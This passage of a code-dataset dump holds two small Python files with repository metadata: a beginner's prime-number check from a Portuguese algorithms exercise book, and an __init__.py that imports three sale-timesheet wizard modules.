] | kksstt@gmail.com |
59c98dc4f2a4929863ff3d871d134d18f23bc69a | a884039e1a8b0ab516b80c2186e0e3bad28d5147 | /Livros/Introdução à Programação - 500 Algoritmos resolvidos/Capitulo 4/Exercicios 4a/Teste_Primo.py | 258ab43c971d5f6e46a79148bdc4d0ac95161357 | [
"MIT"
] | permissive | ramonvaleriano/python- | 6e744e8bcd58d07f05cd31d42a5092e58091e9f0 | ada70918e945e8f2d3b59555e9ccc35cf0178dbd | refs/heads/main | 2023-04-10T14:04:24.497256 | 2021-04-22T18:49:11 | 2021-04-22T18:49:11 | 340,360,400 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 241 | py | # Program: Teste_Primo.py
# Author:
# Description:
# Developed:
# Updated:
number = int(input("Enter with a number: "))
cont = 0
for e in range(1, number+1):
if number%e==0:
cont+=1
if cont == 2:
print()
print(number)
| [
"rrvaleriano@gmail.com"
] | rrvaleriano@gmail.com |
1d2589485789340b88056027dda0714de048f383 | e0045eec29aab56212c00f9293a21eb3b4b9fe53 | /sale_timesheet/wizard/__init__.py | b972c563e3be7301a486b53c1db886b3a0c17b54 | [] | no_license | tamam001/ALWAFI_P1 | a3a9268081b9befc668a5f51c29ce5119434cc21 | 402ea8687c607fbcb5ba762c2020ebc4ee98e705 | refs/heads/master | 2020-05-18T08:16:50.583264 | 2019-04-30T14:43:46 | 2019-04-30T14:43:46 | 184,268,686 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 221 | py | # -*- coding: utf-8 -*-
# Part of ALWAFI. See LICENSE file for full copyright and licensing details.
from . import project_task_assign_so_line
from . import project_create_sale_order
from . import project_create_invoice
| [
"50145400+gilbertp7@users.noreply.github.com"
] | 50145400+gilbertp7@users.noreply.github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.